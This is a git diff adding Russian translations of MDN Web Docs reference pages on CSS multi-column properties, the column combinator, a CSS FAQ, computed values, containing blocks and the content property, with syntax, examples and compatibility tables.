+  This is a bunch of text split into three columns
+  using the CSS `column-count` property. The text
+  is equally distributed over the columns.
+</p>
+
+ +

CSS

+ +
.content-box {
+  column-count: 3;
+}
+
+ +

Result

+ +

{{EmbedLiveSample('Example', 'auto', 120)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Multicol', '#cc', 'column-count')}}{{Spec2('CSS3 Multicol')}}Первое определение.
+ +

{{cssinfo}}

+ +

Поддержка браузерами

+ + + +

{{Compat("css.properties.column-count")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/column-fill/index.html b/files/ru/web/css/column-fill/index.html new file mode 100644 index 0000000000..1453e8b2c9 --- /dev/null +++ b/files/ru/web/css/column-fill/index.html @@ -0,0 +1,117 @@ +--- +title: column-fill +slug: Web/CSS/column-fill +translation_of: Web/CSS/column-fill +--- +
{{CSSRef("CSS Multi-columns")}}
+ +

Свойство column-fill применяется к родительскому элементу, разбитому на столбцы и указывает как содержимое располагается внутри столбца (column). Если значение свойства column-fill установлено как balanced, то содержимое во всех столбцах будет иметь одинаковую высоту. В случае использования значения auto, содержимое занимает столько прострванства сколько ему потребуется.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +
column-fill: auto;
+column-fill: balance;
+
+/* Значения по умолчанию */
+column-fill: inherit;
+column-fill: initial;
+column-fill: unset;
+
+ +

Значения

+ +
+
auto
+
Высота столбцов не контролируется.
+
balance
+
Разделяет содержимое на равные по высоте столбцы.
+
+ +

Возможные значения

+ +
{{csssyntax}}
+ +

Примеры

+ +
.content-box {
+  column-count: 4;
+  column-rule: 1px solid black;
+  column-fill: balance;
+  height: 200px;
+}
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Multicol', '#column-fill', 'column-fill')}}{{Spec2('CSS3 Multicol')}}Значение по умолчанию
+ +

Поддержка браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("13.0")}}{{property_prefix('-moz')}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("13.0")}}{{property_prefix('-moz')}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
diff --git a/files/ru/web/css/column-rule-color/index.html b/files/ru/web/css/column-rule-color/index.html new file mode 100644 index 0000000000..8d6a6e55d1 --- /dev/null +++ b/files/ru/web/css/column-rule-color/index.html @@ -0,0 +1,98 @@ +--- +title: column-rule-color +slug: Web/CSS/column-rule-color +tags: + - мультиколоночная верстка +translation_of: Web/CSS/column-rule-color +--- +
{{CSSRef}}
+ +

CSS свойство column-rule-color устанавливает цвет линии, расположенной между колонками при мультиколоночной верстке.

+ +
{{EmbedInteractiveExample("pages/css/column-rule-color.html")}}
+ + + +

Синтаксис

+ +
/* Значения <color>  */
+column-rule-color: red;
+column-rule-color: rgb(192, 56, 78);
+column-rule-color: transparent;
+column-rule-color: hsla(0, 100%, 50%, 0.6);
+
+/* Глобальные значения */
+column-rule-color: inherit;
+column-rule-color: initial;
+column-rule-color: unset;
+
+ +

Свойство column-rule-color указывает одиночное значение <color>.

+ +

Значения

+ +
+
{{cssxref("<color>")}}
+
Цвет линий, разделяющих столбцы.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Пример

+ +

HTML

+ +
<p>This is a bunch of text split into three columns.
+   The `column-rule-color` property is used to change
+   the color of the line that is drawn between columns.
+   Don't you think that's wonderful?</p>
+ +

CSS

+ +
p {
+  column-count: 3;
+  column-rule-style: solid;
+  column-rule-color: blue;
+}
+
+ +

Результат

+ +

{{EmbedLiveSample("Example")}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Multicol', '#crc', 'column-rule-color')}}{{Spec2('CSS3 Multicol')}}Первое определение.
+ +

{{cssinfo}}

+ +

Поддержка браузерами

+ + + +

{{Compat("css.properties.column-rule-color")}}

+ +

Смотрите также

+ +
    +
  • The {{cssxref("<color>")}} data type
    • +
  • Other color-related properties: {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, and {{cssxref("caret-color")}}
    • +
  • Applying color to HTML elements using CSS
    • +
diff --git a/files/ru/web/css/column-rule-style/index.html b/files/ru/web/css/column-rule-style/index.html new file mode 100644 index 0000000000..926175caa1 --- /dev/null +++ b/files/ru/web/css/column-rule-style/index.html @@ -0,0 +1,95 @@ +--- +title: column-rule-style +slug: Web/CSS/column-rule-style +tags: + - мультиколоночная верстка +translation_of: Web/CSS/column-rule-style +--- +
{{ CSSRef}}
+ +

CSS свойство column-rule-style устанавливает стиль линии, расположенной между колонками при мультиколоночной верстке.

+ +
{{EmbedInteractiveExample("pages/css/column-rule-style.html")}}
+ + + +

Синтаксис

+ +
/* <'border-style'> значения */
+column-rule-style: none;
+column-rule-style: hidden;
+column-rule-style: dotted;
+column-rule-style: dashed;
+column-rule-style: solid;
+column-rule-style: double;
+column-rule-style: groove;
+column-rule-style: ridge;
+column-rule-style: inset;
+column-rule-style: outset;
+
+/* глобальные значения */
+column-rule-style: inherit;
+column-rule-style: initial;
+column-rule-style: unset;
+
+ +

Свойство column-rule-style указывается как одиночное <'border-style'> значение.

+ +

Значения

+ +
+
<'border-style'>
+
Ключевое слово, определяющее  {{ cssxref("border-style") }}, описывающий стиль для линии, разделяющей столбцы. Стилизация должна быть интерпретирована как разрушающая границы модель.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+
+ +

Пример

+ +

HTML

+ +
<p>This is a bunch of text split into three columns.
+   The `column-rule-style` property is used to change
+   the style of the line that is drawn between columns.
+   Don't you think that's wonderful?</p>
+ +

CSS

+ +
p {
+  column-count: 3;
+  column-rule-style: dashed;
+}
+ +

Результат

+ +

{{ EmbedLiveSample('Example') }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Multicol', '#crs', 'column-rule-style') }}{{ Spec2('CSS3 Multicol') }}Первое определение
+ +

{{cssinfo}}

+ +

Поддержка браузерами

+ + + +

{{Compat("css.properties.column-rule-style")}}

diff --git a/files/ru/web/css/column-rule/index.html b/files/ru/web/css/column-rule/index.html new file mode 100644 index 0000000000..a74742f3e6 --- /dev/null +++ b/files/ru/web/css/column-rule/index.html @@ -0,0 +1,120 @@ +--- +title: column-rule +slug: Web/CSS/column-rule +tags: + - мультиколоночная верстка +translation_of: Web/CSS/column-rule +--- +
{{CSSRef}}
+ +

Краткая форма записи CSS свойств column-rule устанавливает ширину, стиль и цвет линии, находящейся между колонками в мультиколоночной верстке.

+ +
{{EmbedInteractiveExample("pages/css/column-rule.html")}}
+ + + +

Эта краткая форма записи задает индивидуальные  column-rule-* свойства, обычно задаваемые: {{Cssxref("column-rule-width")}}, {{Cssxref("column-rule-style")}}, и {{Cssxref("column-rule-color")}}.

+ +
+

Примечание: Как и с другими краткими формами записи, любые индивидуальные значения, не указанные явно принимают значение по умолчанию (возможно переопределение значений, заданных ранее с помощью свойств, не являющихся краткими формами).

+
+ +

Синтаксис

+ +
column-rule: dotted;
+column-rule: solid 8px;
+column-rule: solid blue;
+column-rule: thick inset blue;
+
+/* глобальные значения */
+column-rule: inherit;
+column-rule: initial;
+column-rule: unset;
+
+ +

Свойство column-rule указывается в виде одного, двух или трех значений, перечисленных ниже, в любом порядке.

+ +

Значения

+ +
+
<'column-rule-width'>
+
{{cssxref("<length>")}} или одно из трех ключевых свойств, thin, medium, или thick. См. подробно -  {{cssxref("border-width")}}.
+
<'column-rule-style'>
+
См. подробно {{cssxref("border-style")}} .
+
<'column-rule-color'>
+
Значение {{cssxref("<color>")}} .
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+
+ +

Примеры

+ +

Example 1

+ +
/* Аналогично "medium dotted currentColor" */
+p.foo { column-rule: dotted; }
+
+/* Аналогично "medium solid blue" */
+p.bar { column-rule: solid blue; }
+
+/* Аналогично "8px solid currentColor" */
+p.baz { column-rule: solid 8px; }
+
+p.abc { column-rule: thick inset blue; }
+
+ +

Example 2

+ +

HTML

+ +
<p class="content-box">
+  This is a bunch of text split into three columns.
+  Take note of how the `column-rule` property is used
+  to adjust the style, width, and color of the rule
+  that appears between the columns.
+</p>
+
+ +

CSS

+ +
.content-box {
+  padding: 0.3em;
+  background: #ff7;
+  column-count: 3;
+  column-rule: inset 2px #33f;
+}
+
+ +

Результат

+ +

{{EmbedLiveSample('Example_2')}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Multicol', '#column-rule', 'column-rule')}}{{Spec2('CSS3 Multicol')}}Первое определение.
+ +

{{cssinfo}}

+ +

Поддержка браузерами

+ + + +

{{Compat("css.properties.column-rule")}}

diff --git a/files/ru/web/css/column_combinator/index.html b/files/ru/web/css/column_combinator/index.html new file mode 100644 index 0000000000..9fad1a33a2 --- /dev/null +++ b/files/ru/web/css/column_combinator/index.html @@ -0,0 +1,95 @@ +--- +title: Комбинатор столбцов +slug: Web/CSS/Column_combinator +tags: + - Верстка + - Селекторы +translation_of: Web/CSS/Column_combinator +--- +
{{CSSRef("Selectors")}}{{Draft}}{{SeeCompatTable}}
+ +

Комбинатор столбцов (||) помещается между двумя селекторами CSS. Он соответствует только тем элементам, которым соответствует второй селектор, которые принадлежат элементам столбца, соответствующим первому.

+ +
/* Ячейки таблицы, принадлежащие к столбцу "выделено" */
+col.selected || td {
+  background: gray;
+}
+
+ +

Синтаксис

+ +
column-selector || cell-selector {
+  /* свойства стиля */
+}
+
+ +

Примеры

+ +

HTML

+ +
<table border="1">
+  <colgroup>
+    <col span="2"/>
+    <col class="selected"/>
+  </colgroup>
+  <tbody>
+    <tr>
+      <td>A
+      <td>B
+      <td>C
+    </tr>
+    <tr>
+      <td colspan="2">D</td>
+      <td>E</td>
+    </tr>
+    <tr>
+      <td>F</td>
+      <td colspan="2">G</td>
+    </tr>
+  </tbody>
+</table>
+ +

CSS

+ +
col.selected || td {
+  background: gray;
+  color: white;
+  font-weight: bold;
+}
+ +

Result

+ +

{{EmbedLiveSample("Examples", "100%")}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Selectors", "#the-column-combinator", "column combinator")}}{{Spec2("CSS4 Selectors")}}Первое определение.
+ +

Поддержка браузерами

+ + + +

{{Compat("css.selectors.column")}}

+ +

Смотрите также

+ +
    +
  • {{HTMLElement("col")}}
    • +
  • {{HTMLElement("colgroup")}}
    • +
  • {{CSSxRef("grid")}}
    • +
diff --git a/files/ru/web/css/common_css_questions/index.html b/files/ru/web/css/common_css_questions/index.html new file mode 100644 index 0000000000..cecfb92b82 --- /dev/null +++ b/files/ru/web/css/common_css_questions/index.html @@ -0,0 +1,182 @@ +--- +title: Common CSS questions +slug: Web/CSS/Common_CSS_Questions +translation_of: Learn/CSS/Howto/CSS_FAQ +--- +

Why doesn't my CSS, which is valid, render correctly?

+ +

Браузер использует декларацию DOCTYPE чтобы выбрать, как именно отображать документ - в форме, более совместимой с современными стандартами или в форме,  которую будут поддерживать старые браузеры. Правильное использование декларациии DOCTYPE в начале вашего HTML кода повлияет на совместимость с современными стандартами веб браузеров.

+ +

У современных браузеров есть два режима отображения веб-страниц:

+ +
    +
  • Индивидуальный: его также называют backwards-compatibility mode, даёт возможность устаревшим страницам отображаться так, как планировал автор, следуя уже не стандартным правилам отображения, которые использовались ещё старыми браузерами. Документы  с неполной, некорректной или отстутвующей DOCTYPE декларацией или с тем видом DOCTYPE, который использовался до 2001 года, будет отображён в индивидуальном режиме.
    • +
  • Стандартный: в этом режиме браузер старается строго следовать стандартам W3C. Ожидается, что современные HTML страницы разработаны для браузеров, следуемых стандартам, и в результате, страницы с современным  DOCTYPE отображаются уже в стандартом режиме.
    • +
+ +

Gecko-based browsers, have a third Almost Standards Mode that has only a few minor quirks.

+ +

This is a list of the most commonly used DOCTYPE declarations that will trigger Standards or Almost Standards mode:

+ +
<!DOCTYPE html> /* This is the HTML5 doctype. Given that each modern browser uses an HTML5
+                   parser, this is the recommended doctype */
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
+"http://www.w3.org/TR/html4/loose.dtd">
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+ +

Why doesn't my CSS, which is valid, render at all?

+ +

To be applied, a CSS stylesheet must be served with a text/css MIME type. If the Web server doesn't serve it with this type, it won't be applied.

+ +

What is the difference between id and class?

+ +

HTML elements can have an id and/or class attribute. The id attribute assigns a name to the element it is applied to, and for valid markup, there can be only one element with that name. The class attribute assigns a class name to the element, and that name can be used on many elements within the page. CSS allows you to apply styles to particular id and/or class names.
+
+ Use an id-specific style when you want to restrict the applied styling rules to one specific block or element. This style will only be used by the element with that particular id.
+
+ Use a class-specific style when you want to apply the styling rules to many blocks and elements within the page.

+ +

Stylesheets with fewer rules are usually more performant. It is therefore recommended to use classes as much as possible, and to reserve the use of id for specific uses (like to connect label and form elements or for styling elements that must be semantically unique).

+ +

See CSS selectors

+ +

How do I restore the default value of a property?

+ +

Initially CSS didn't provide a "default" keyword and the only way to restore the default value of a property is to explicitly re-declare that property.

+ +

This has changed with CSS 2; the keyword initial is now a valid value for a CSS property. It resets it to its default value, which is defined in the CSS specification of the given property.

+ +

How do I derive one style from another?

+ +

CSS does not allow one style to be defined in terms of another. (See Eric Meyer's note about the Working Group's stance). However, assigning multiple classes to a single element can provide the same effect.

+ +

How do I assign multiple classes to an element?

+ +

HTML elements can be assigned multiple classes by listing the classes in the class attribute, with a blank space to separate them.

+ +
<style type="text/css">
+.news { background: black; color: white; }
+.today { font-weight: bold; }
+</style>
+
+<div class="news today">
+... content of today's news ...
+</div>
+
+ +

If the same property is declared in both rules, the conflict is resolved first through specificity, then according to the order of the CSS declarations. The order of classes in the class attribute is not relevant.

+ +

Why don't my style rules work properly?

+ +

Style rules that are syntactically correct may not apply in certain situations. You can use DOM Inspector's CSS Style Rules view to debug problems of this kind, but the most frequent instances of ignored style rules are listed below.

+ +

HTML elements hierarchy

+ +

The way CSS styles are applied to HTML elements depends also on the elements hierarchy. It is important to remember that a rule applied to a descendent overrides the style of the parent, in spite of any specificity or priority of CSS rules.

+ +
.news { color: black; }
+.corpName { font-weight: bold; color: red; }
+
+<!-- news item text is black, but corporate name is red and in bold -->
+<div class="news">
+   (Reuters) <span class="corpName">General Electric</span> (GE.NYS) announced on Thursday...
+</div>
+
+ +

In case of complex HTML hierarchies, if a rule seems to be ignored, check if the element is inside another element with a different style.

+ +

Explicitly re-defined style rule

+ +

In CSS stylesheets, order is important. If you define a rule and then you re-define the same rule, the last definition is used.

+ +
#stockTicker { font-weight: bold; }
+.stockSymbol { color: red; }
+/*  other rules             */
+/*  other rules             */
+/*  other rules             */
+.stockSymbol { font-weight: normal; }
+
+<!-- most text is in bold, except "GE", which is red and not bold -->
+<div id="stockTicker">
+   NYS: <span class="stockSymbol">GE</span> +1.0 ...
+</div>
+
+ +

To avoid this kind of error, try to define rules only once for a certain selector, and group all rules belonging to that selector.

+ +

Use of a shorthand property

+ +

Using shorthand properties for defining style rules is good because it uses a very compact syntax. Using shorthand with only some attributes is possible and correct, but it must be remembered that undeclared attributes are automatically reset to default. This means that a previous rule for a single attribute could be implicitly overridden.

+ +
#stockTicker { font-size: 12px; font-family: Verdana; font-weight: bold; }
+.stockSymbol { font: 14px Arial; color: red; }
+
+<div id="stockTicker">
+   NYS: <span class="stockSymbol">GE</span> +1.0 ...
+</div>
+
+ +

In the previous example the problem occurred on rules belonging to different elements, but it could happen also for the same element, because rule order is important.

+ +
#stockTicker {
+   font-weight: bold;
+   font: 12px Verdana;  /* font-weight is now normal */
+}
+
+ +

Use of the * selector

+ +

The * wildcard selector refers to any element, and it has to be used with particular care.

+ +
body * { font-weight: normal; }
+#stockTicker { font: 12px Verdana; }
+.corpName { font-weight: bold; }
+.stockUp { color: red; }
+
+<div id="section">
+   NYS: <span class="corpName"><span class="stockUp">GE</span></span> +1.0 ...
+</div>
+
+ +

In this example the body * selector applies the rule to all elements inside body, at any hierarchy level, including the .stockUp class. So font-weight: bold; applied to the .corpName class is overridden by font-weight: normal; applied to all elements in the body.

+ +

The use of the * selector should be minimized as it is a slow selector, especially when not used as the first element of a selector. Its use should be avoided as much as possible.

+ +

Specificity in CSS

+ +

When multiples rules apply to a certain element, the rule chosen depends on its style specificity. Inline style (in HTML style attributes) comes first, followed by ID selectors, then class selectors and eventually element-name selectors.

+ +
div { color: black; }
+#orange { color: orange; }
+.green { color: green; }
+
+<div id="orange" class="green" style="color: red;">This is red</div>
+
+ +

The rules are more complicated when the selector has multiple parts. More detailed information about how selector specificity is calculated can be found in the CSS 2.1 Specification chapter 6.4.3.

+ +

What do the -moz-*, -ms-*, -webkit-*, -o-* and -khtml-* properties do?

+ +

These properties, called prefixed properties, are extensions to the CSS standard. They are used to use experimental and non-standard features without polluting the regular namespace, preventing future incompatibilities to arise when the standard is extended.

+ +

The use of such properties on production websites is not recommended. If nevertheless needed, you are hinted to make a plan for the website evolution: these prefixed properties can be modified or even suppressed when the standard evolves.

+ +

Please see the Mozilla CSS Extensions page for more information on the Mozilla-prefixed CSS properties.

+ +

How does z-index relate to positioning?

+ +

The z-index property specifies the stack order of elements.

+ +

An element with a higher z-index/stack order is always in front of an element with a lower z-index/stack order.

+ +

Z-index will only work on elements that have a specified position (position:absolute, position:relative, or position:fixed).

diff --git a/files/ru/web/css/computed_value/index.html b/files/ru/web/css/computed_value/index.html new file mode 100644 index 0000000000..964fb73790 --- /dev/null +++ b/files/ru/web/css/computed_value/index.html @@ -0,0 +1,55 @@ +--- +title: Вычисленное значение +slug: Web/CSS/computed_value +tags: + - CSS + - Guide + - Web +translation_of: Web/CSS/computed_value +--- +
{{cssref}}
+ +

Вычисленное значение CSS свойства вычисляется из указанного значения посредством:

+ +
    +
  • Обработки специальных значений {{cssxref("inherit")}} и {{cssxref("initial")}}, а также
    • +
  • Выполнения вычислений необходимых для получения значения, описанного в строке "Обработка значения" в описании свойства.
    • +
+ +

Вычисления необходимые для получения вычисленного значения для свойства обычно включают в себя преобразование относительных значений (например, находящиеся в единицах em или в процентах) в абсолютные значения.

+ +

Например, если у элемента указаны значения font-size: 16px и padding-top: 2em, то вычисленное значение padding-top будет 32px (двойной размер шрифта).

+ +

Однако, для некоторых свойств (таких, где проценты относительны к чему-то, что может потребовать лэйаут определять(переопределить) границы, например, width, margin-right, text-indent и top), процентно указанные значения преобразуются в процентно вычисляемые значения. Кроме того, безразмерные числа, указанные в свойстве line-height становятся вычисленными значениями. Эти относительные единицы, которые остались в вычисленных значениях, становятся абсолютными, когда  используемое значение установлено.

+ +

Основная сфера применения вычисленного значения (кроме как использования его как "шага" между указанным и используемым значением) является наследование, включая ключевое слово {{cssxref("inherit")}}.

+ +

Замечания

+ +

DOM API {{domxref("Window.getComputedStyle", "getComputedStyle()")}} возвращает {{cssxref("resolved_value", "решённое значение")}}, которое может быть либо {{cssxref("computed_value", "вычисляемым")}} или {{cssxref("used_value", "используемым")}} значением, в зависимости от свойства.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("CSS2.1", "cascade.html#computed-value", "computed value")}}{{Spec2("CSS2.1")}}Изначальное определение
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/containing_block/index.html b/files/ru/web/css/containing_block/index.html new file mode 100644 index 0000000000..a441429524 --- /dev/null +++ b/files/ru/web/css/containing_block/index.html @@ -0,0 +1,271 @@ +--- +title: Разметка и содержащий блок +slug: Web/CSS/Containing_block +translation_of: Web/CSS/Containing_block +--- +
{{cssref}}
+ +

На размер и позицию элемента часто влияет его содержащий блок (containing block). Чаще всего содержащим блоком является content область (content area) ближайшего блочного (block-level) предка, но это не всегда так. В этой статье мы рассмотрим факторы, которые определяют содержащий блок элемента.

+ +

Когда пользовательский агент (такой как ваш браузер) делает разметку документа, он создает бокс (box) для каждого элемента. Каждый бокс разделяется на следующие области:

+ +
    +
  1. Сontent область или область контента (content area).
    2. +
  2. Padding область или область внутреннего поля (padding area).
    3. +
  3. Border область или область границы (border area).
    4. +
  4. Margin область или область внешнего поля (margin area).
    5. +
+ +

Diagram of the box model

+ +

Многие разработчики верят, что содержащий блок элемента - это всегда content область его родителя, но это не всегда является правдой. Давайте исследуем факторы, которые определяют, что представляет собой содержащий элемент блок.

+ +

Эффекты содержащего блока

+ +

Перед изучением того, что определяет содержащий блок элемента, будет полезно сначала узнать, почему этот блок так важен.

+ +

На размер и положение элемента часто влияет его содержащий блок. 

+ +

Значения заданные в процентах для свойств {{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("padding")}}, {{cssxref("margin")}}, и свойства задающие смещение абсолютно позиционированного элемента (т.е., такого, у которого свойство {{cssxref("position")}} имеет значение absolute или fixed) рассчитываются исходя из его содержащего блока.

+ +

Определение содержащего блока

+ +

Определение содержащего блока элемента полностью зависит от значения свойства {{cssxref("position")}}:

+ +
    +
  1. Если свойство position имеет значение  static, relative, или sticky, то содержащий блок задается краем content бокса ближайшего предка, который: + +
      +
    • либо является блочным контейнером (block container), например, если его свойство display имеет значение inline-block, block или list-item.
      • +
    • либо устанавливает контекст форматирования (formatting context), например, контейнер таблицы (table container), flex-контейнер (flex container), grid-контейнер (grid container) или блочный контейнер (block container).
      • +
    +
    2. +
  2. Если свойство position имеет значение absolute, то содержащий блок задается краем padding бокса ближайшего предка, у которого свойство position имеет значение отличное от static (fixed, absolute, relative или sticky).
    3. +
  3. Если свойство position имеет значение fixed, то содержащий блок задается: +
      +
    • в случае непрерывного медиа (continuous media) областью просмотра (вьюпорт - {{glossary("viewport")}});
      • +
    • в случае страничного медиа (paged media) областью страницы.
      • +
    +
    4. +
  4. Если свойство position имеет значение absolute или fixed, то содержащий блок может также задаваться краем padding бокса ближайшего предка, у которого: +
      +
    1. Свойство {{cssxref("transform")}} или {{cssxref("perspective")}} имеет значение отличное от none.
      2. +
    2. Свойство {{cssxref("will-change")}} имеет значение transform или perspective.
      3. +
    3. Свойство {{cssxref("filter")}}  имеет значение отличное от none или will-change value of filter (работает только в Firefox).
      4. +
    4. Свойство {{cssxref("contain")}} имеет значение paint (например, contain: paint;).
      5. +
    +
    5. +
+ +
+

Примечание: Содержащий блок в котором находится корневой элемент ({{HTMLElement("html")}}) представляет собой прямоугольник, который называется начальный содержащий блок. Он имеет размеры области просмотра (вьюпорт - viewport) для непрерывного медиа (continuous media) или области страницы (page area) для страничного медиа (paged media).

+
+ +

Calculating percentage values from the containing block

+ +

As noted above, when certain properties are given a percentage value, the computed value depends on the element's containing block. The properties that work this way are box model properties and offset properties:

+ +
    +
  1. The {{cssxref("height")}}, {{cssxref("top")}}, and {{cssxref("bottom")}} properties compute percentage values from the height of the containing block.
    2. +
  2. The {{cssxref("width")}}, {{cssxref("left")}}, {{cssxref("right")}}, {{cssxref("padding")}}, and {{cssxref("margin")}} properties compute percentage values from the width of the containing block.
    3. +
+ +

Some examples

+ +

The HTML code for all our examples is:

+ +
<body>
+  <section>
+    <p>This is a paragraph!</p>
+  </section>
+</body>
+
+ +

Only the CSS is altered in each instance below.

+ +

Example 1

+ +

In this example, the paragraph is statically positioned, so its containing block is {{HTMLElement("section")}} because it's the nearest ancestor that is a block container.

+ + + +
body {
+  background: beige;
+}
+
+section {
+  display: block;
+  width: 400px;
+  height: 160px;
+  background: lightgray;
+}
+
+p {
+  width: 50%;   /* == 400px * .5 = 200px */
+  height: 25%;  /* == 160px * .25 = 40px */
+  margin: 5%;   /* == 400px * .05 = 20px */
+  padding: 5%;  /* == 400px * .05 = 20px */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('Example_1','100%','300')}}

+ +

Example 2

+ +

In this example, the paragraph's containing block is the {{HTMLElement("body")}} element, because <section> is not a block container (because of display: inline) and doesn’t establish a formatting context.

+ + + +
body {
+  background: beige;
+}
+
+section {
+  display: inline;
+  background: lightgray;
+}
+
+p {
+  width: 50%;     /* == half the body's width */
+  height: 200px;  /* Note: a percentage would be 0 */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('Example_2','100%','300')}}

+ +

Example 3

+ +

In this example, the paragraph's containing block is <section> because the latter's position is absolute. The paragraph's percentage values are affected by the padding of its containing block, though if the containing block's {{cssxref("box-sizing")}} value were border-box this would not be the case.

+ + + +
body {
+  background: beige;
+}
+
+section {
+  position: absolute;
+  left: 30px;
+  top: 30px;
+  width: 400px;
+  height: 160px;
+  padding: 30px 20px;
+  background: lightgray;
+}
+
+p {
+  position: absolute;
+  width: 50%;   /* == (400px + 20px + 20px) * .5 = 220px */
+  height: 25%;  /* == (160px + 30px + 30px) * .25 = 55px */
+  margin: 5%;   /* == (400px + 20px + 20px) * .05 = 22px */
+  padding: 5%;  /* == (400px + 20px + 20px) * .05 = 22px */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('Example_3','100%','300')}}

+ +

Example 4

+ +

In this example, the paragraph's position is fixed, so its containing block is the initial containing block (on screens, the viewport). Thus, the paragraph's dimensions change based on the size of the browser window.

+ + + +
body {
+  background: beige;
+}
+
+section {
+  width: 400px;
+  height: 480px;
+  margin: 30px;
+  padding: 15px;
+  background: lightgray;
+}
+
+p {
+  position: fixed;
+  width: 50%;   /* == (50vw - (width of vertical scrollbar)) */
+  height: 50%;  /* == (50vh - (height of horizontal scrollbar)) */
+  margin: 5%;   /* == (5vw - (width of vertical scrollbar)) */
+  padding: 5%;  /* == (5vw - (width of vertical scrollbar)) */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('Example_4','100%','300')}}

+ +

Example 5

+ +

In this example, the paragraph's position is absolute, so its containing block is <section>, which is the nearest ancestor with a {{cssxref("transform")}} property that isn't none.

+ + + +
body {
+  background: beige;
+}
+
+section {
+  transform: rotate(0deg);
+  width: 400px;
+  height: 160px;
+  background: lightgray;
+}
+
+p {
+  position: absolute;
+  left: 80px;
+  top: 30px;
+  width: 50%;   /* == 200px */
+  height: 25%;  /* == 40px */
+  margin: 5%;   /* == 20px */
+  padding: 5%;  /* == 20px */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('Example_5','100%','300')}}

+ +

Смотри также

+ +
    +
  • {{css_key_concepts}}
    • +
  • The {{cssxref("all")}} property resets all CSS declarations to a given known state
    • +
diff --git a/files/ru/web/css/content/index.html b/files/ru/web/css/content/index.html new file mode 100644 index 0000000000..f708e7db61 --- /dev/null +++ b/files/ru/web/css/content/index.html @@ -0,0 +1,293 @@ +--- +title: content +slug: Web/CSS/content +tags: + - Контекст +translation_of: Web/CSS/content +--- +
{{CSSRef}}
+ +

CSS-свойство content заменяет элемент сгенерированным значением. Объекты, добавленные с помощью свойства content являются анонимными  property are anonymous замещаемыми элементами.

+ +
/* Ключевые слова, которые нельзя комбинировать с другими значениями */
+content: normal;
+content: none;
+
+/* значение <url>  */
+content: url("http://www.example.com/test.png");
+
+/* значение <image>  */
+content: linear-gradient(#e66465, #9198e5);
+
+/* указанные ниже значения могут быть применены только к сгенерированному контенту с использованием ::before и ::after */
+
+/* значение <string>  */
+content: "prefix";
+
+/* значения <counter> */
+content: counter(chapter_counter);
+content: counters(section_counter, ".");
+
+/* значение attr() связано со значением атрибута HTML */
+content: attr(value string);
+
+/* языко- и позиция-зависимые ключевые слова */
+content: open-quote;
+content: close-quote;
+content: no-open-quote;
+content: no-close-quote;
+
+/* несколько значений могут использоваться вместе */
+content: open-quote chapter_counter;
+
+/* глобальные значения */
+content: inherit;
+content: initial;
+content: unset;
+
+ +

{{cssinfo}}

+ +

Синтаксис

+ +

Значения

+ +
+
none
+
Псевдоэлемент не генерируется.
+
normal
+
Вычисляется none для псевдоэлементов ::before и::after.
+
{{cssxref("<string>")}}
+
Любое количество текстовых символов. Нелатинские символы должны быть закодированы с использованием их escape-последовательности Unicode: например, \000A9 представляет собой символ авторского права.
+
{{cssxref("<url>")}}
+
URL-адрес, указывающий на внешний ресурс (к примеру, изображение). Если ресурс не может быть отображен, он игнорируется или отображается значение по умолчанию.
+
{{cssxref("<image>")}}
+
{{cssxref("<image>")}}, указанный типом данных {{cssxref("<url>")}} или {{cssxref("<gradient>")}}, или частью веб-страницы, определяемой функцией {{cssxref("element", "element()")}}, указывающей содержимое для обозначения.
+
{{cssxref("<counter>")}}
+
Значение CSS счетчика, как правило число. Его можно отобразить с помощью функций  {{cssxref("counter()")}} или{{cssxref("counters()")}}.
+
+

Функция counter() имеет две формы записи: 'counter(имя)' или 'counter(имя, стиль)'. Сгенерированный текст - это значение самого вложенного счетчика с заданным именем в области видимости данного элемента. Он отформатирован в указанном стиле (по умолчанию decimal).

+ +

